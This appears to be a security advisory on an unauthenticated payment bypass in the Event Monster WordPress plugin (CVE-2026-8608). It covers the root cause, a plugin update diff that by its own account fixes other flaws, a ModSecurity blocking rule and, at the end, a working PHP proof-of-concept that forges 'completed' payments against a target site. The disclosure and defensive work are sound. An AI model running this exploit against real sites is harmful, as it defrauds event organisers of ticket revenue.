Atomic Edge analysis of CVE-2026-8608:
This vulnerability allows an unauthenticated attacker to bypass payment for events booked through the Event Monster plugin for WordPress. The flaw exists in the em_capture_payment AJAX handler, which trusts all client-supplied payment data without server-side verification. The assigned CVSS score is 5.3, indicating a medium severity issue.
Root Cause: The root cause is insufficient verification of data authenticity in the capture_payment() AJAX handler. The plugin registers the handler via wp_ajax_nopriv_em_capture_payment, making it accessible to unauthenticated users. The handler accepts transaction ID, amount, and payment status directly from the client without validating against the PayPal API or any payment gateway. There are no nonce or capability checks. The key code path is in event-monster/includes/class-event-monster-ajax.php, specifically the capture_payment() function. The vulnerable action name is ’em_capture_payment’.
Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ’em_capture_payment’. The attacker includes crafted parameters such as a fake transaction ID, a payment status of ‘completed’, and the target booking ID. The plugin accepts these values and marks the booking as paid, triggers confirmation emails, and generates valid QR code tickets. No authentication token or nonce is required. The attacker never sends any actual payment.
Patch Analysis: The provided diff does not contain the patch for the em_capture_payment vulnerability. The diff shows fixes for other issues: nonce verification for ajax_preview_layout, SQL injection fixes in templates, and a change that blocks paid bookings entirely (if ($total_amount > 0) { wp_send_json_error([‘message’ => ‘Paid bookings are not supported in this version.’]); }). Code bases typically would patch this by removing the nopriv AJAX hook, adding nonce verification, implementing server-side payment gateway verification, or adding capability checks to the capture_payment() function.
Impact: An attacker can forge payment records for any booking, obtain valid QR code tickets, and receive confirmation emails without paying. This leads to direct financial loss for event organizers. Unauthenticated attackers can exploit this remotely without any privileges.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/event-monster/admin/event-layout-settings.php
+++ b/event-monster/admin/event-layout-settings.php
@@ -195,6 +195,9 @@
* AJAX handler for layout preview
*/
public function ajax_preview_layout() {
+ // Verify nonce
+ check_ajax_referer('em_layout_builder', 'nonce');
+
// Check permissions
if (!current_user_can('edit_posts')) {
wp_die(__('You do not have permission to preview layouts.', 'event-monster'));
--- a/event-monster/event-monster.php
+++ b/event-monster/event-monster.php
@@ -3,7 +3,7 @@
* Plugin Name: Event Monster
* Plugin URI: https://awplife.com/wordpress-plugins/event-monster-premium/
* Description: A free event management plugin for WordPress. Create and manage events with ease. Upgrade to Pro for payment gateways, tickets, coupons, and more!
- * Version: 2.1.0
+ * Version: 2.1.1
* Author: A WP Life
* Author URI: https://awplife.com/
* License: GPL-2.0+
@@ -26,7 +26,7 @@
* -------------------------------------------------------------------------
* These are the only constants that should be defined globally.
*/
-define( 'EM_FREE_VERSION', '2.1.0' );
+define( 'EM_FREE_VERSION', '2.1.1' );
define( 'EM_FREE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'EM_FREE_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'EM_FREE_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
--- a/event-monster/includes/class-event-monster-activator.php
+++ b/event-monster/includes/class-event-monster-activator.php
@@ -71,9 +71,6 @@
) $charset_collate;";
dbDelta($sql_bookings);
- // Update existing table to change amount column type if it exists
- $wpdb->query("ALTER TABLE `$em_booking_table` MODIFY `amount` decimal(10,2) NOT NULL");
-
// 4. Create Payments Table (used by Pro version, kept for compatibility)
$em_payment_table = $wpdb->prefix . 'em_payments';
$sql_payments = "CREATE TABLE $em_payment_table (
--- a/event-monster/includes/class-event-monster-ajax.php
+++ b/event-monster/includes/class-event-monster-ajax.php
@@ -304,10 +304,9 @@
*/
public function handle_get_event_modal_content()
{
- // Skip nonce verification for now to test
- // if (!wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
- // wp_send_json_error('Invalid nonce');
- // }
+ if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
+ wp_send_json_error('Invalid nonce');
+ }
$event_id = intval($_POST['event_id']);
@@ -428,6 +427,10 @@
*/
public function load_more_events()
{
+ if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
+ wp_send_json_error('Invalid nonce');
+ }
+
// Debug logging
error_log('Load more events called with data: ' . print_r($_POST, true));
@@ -603,6 +606,10 @@
wp_send_json_error(['message' => 'No valid tickets selected.']);
}
+ if ($total_amount > 0) {
+ wp_send_json_error(['message' => 'Paid bookings are not supported in this version.']);
+ }
+
// Free version: No coupon support (Pro-only feature)
// Insert attendee
--- a/event-monster/templates/admin/metabox-event-settings.php
+++ b/event-monster/templates/admin/metabox-event-settings.php
@@ -954,7 +954,7 @@
//get currency symbol
global $wpdb;
$em_currency_table = $wpdb->prefix . "em_currency";
- $em_currency_symbol = $wpdb->get_row("SELECT `symbol` FROM `$em_currency_table` WHERE `code` LIKE '$em_currency'");
+ $em_currency_symbol = $wpdb->get_row($wpdb->prepare("SELECT `symbol` FROM `$em_currency_table` WHERE `code` LIKE %s", $em_currency));
if ($em_currency_symbol) {
$event_currency_symbol = $em_currency_symbol->symbol;
}
--- a/event-monster/templates/frontend/components/registration.php
+++ b/event-monster/templates/frontend/components/registration.php
@@ -34,7 +34,7 @@
if (empty($em_tkt_selected)) {
global $wpdb;
$em_tickets_table_fallback = $wpdb->prefix . 'em_tickets';
- $first_ticket = $wpdb->get_row("SELECT id FROM `$em_tickets_table_fallback` WHERE `status` LIKE 'available' ORDER BY id ASC LIMIT 1");
+ $first_ticket = $wpdb->get_row($wpdb->prepare("SELECT id FROM `$em_tickets_table_fallback` WHERE `status` = %s ORDER BY id ASC LIMIT 1", 'available'));
if ($first_ticket) {
$em_tkt_selected = array($first_ticket->id);
}
@@ -104,7 +104,7 @@
<div class="em-space-y-3">
<?php
$em_tickets_table = $wpdb->prefix . 'em_tickets';
- $em_tickets_result = $wpdb->get_results("SELECT * FROM `$em_tickets_table` WHERE `status` LIKE 'available'");
+ $em_tickets_result = $wpdb->get_results($wpdb->prepare("SELECT * FROM `$em_tickets_table` WHERE `status` = %s", 'available'));
if ($em_tickets_result) {
foreach ($em_tickets_result as $ticket) {
--- a/event-monster/templates/frontend/event-list-template.php
+++ b/event-monster/templates/frontend/event-list-template.php
@@ -15,7 +15,7 @@
$em_id = $single_event_id;
// Get back URL for navigation
- $back_url = isset($_GET['em_back']) ? urldecode($_GET['em_back']) : get_home_url();
+ $back_url = isset($_GET['em_back']) ? wp_validate_redirect(urldecode($_GET['em_back']), get_home_url()) : get_home_url();
// Display single event with back button
echo '<div class="em-single-event-wrapper">';
@@ -349,7 +349,8 @@
type: 'POST',
data: {
action: 'em_get_event_modal_content',
- event_id: eventId
+ event_id: eventId,
+ nonce: em_ajax_object.nonce
},
success: function(response) {
console.log('AJAX response:', response);
@@ -619,7 +620,8 @@
category: $btn.data('category'),
view_mode: $btn.data('view-mode'),
columns: $btn.data('columns'),
- show_filters: $btn.data('show-filters')
+ show_filters: $btn.data('show-filters'),
+ nonce: em_ajax_object.nonce
},
success: function(response) {
if (response.success) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8608
# Block unauthenticated exploitation of the em_capture_payment AJAX action by matching
# the action parameter and requiring a nonce that an attacker cannot provide.
# This rule blocks requests that lack a valid nonce for this action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268608,phase:2,deny,status:403,msg:'CVE-2026-8608 Payment bypass via em_capture_payment',severity:'CRITICAL',tag:'CVE-2026-8608',chain"
SecRule ARGS_POST:action "@streq em_capture_payment" "chain"
SecRule ARGS_POST:_wpnonce "@rx ^$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8608 - Event Monster <= 2.1.0 - Unauthenticated Payment Bypass via em_capture_payment AJAX Action
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$booking_id = 1; // The ID of the booking to mark as paid
// Build the AJAX request to exploit the vulnerability
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Craft the POST data with fake payment details
$post_data = array(
'action' => 'em_capture_payment',
'booking_id' => $booking_id,
'transaction_id' => 'FAKE-TXN-' . time(),
'amount' => '0.00',
'payment_status' => 'completed',
'currency' => 'USD'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the result
if ($http_code == 200 && !empty($response)) {
echo "[+] Request sent successfully.n";
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response body: $responsen";
} else {
echo "[-] Request failed. HTTP Code: $http_coden";
}
?>